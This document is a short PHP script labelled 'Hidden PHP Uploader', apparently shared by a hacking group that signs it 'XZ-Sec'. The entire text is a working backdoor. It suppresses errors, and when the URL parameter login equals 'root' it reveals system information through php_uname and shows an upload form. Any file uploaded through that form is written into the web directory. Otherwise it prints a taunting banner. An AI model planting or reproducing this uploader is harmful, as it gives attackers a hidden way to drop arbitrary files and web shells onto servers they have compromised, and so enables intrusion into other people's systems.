Hidden PHP Uploader

<?php
error_reporting(0);
if($_GET['login'] == 'root') {
echo "<b><i><h1>Hidden PHP Uploader</h1>".php_uname();
echo '<br><br><form enctype="multipart/form-data" method="post">
<input type="file" name="hw"><input type="submit" value="Upload">
</form>';
if(isset($_FILES['hw'])) {
if(copy($_FILES['hw']['tmp_name'],$_FILES['hw']['name'])) {
echo $_FILES['hw']['name']." Uploaded !!!";
} else {
echo "Failed !!!";
}
}
exit();
}
echo "<h1>XZ-Sec Wush Here !!!!</h1>";
?>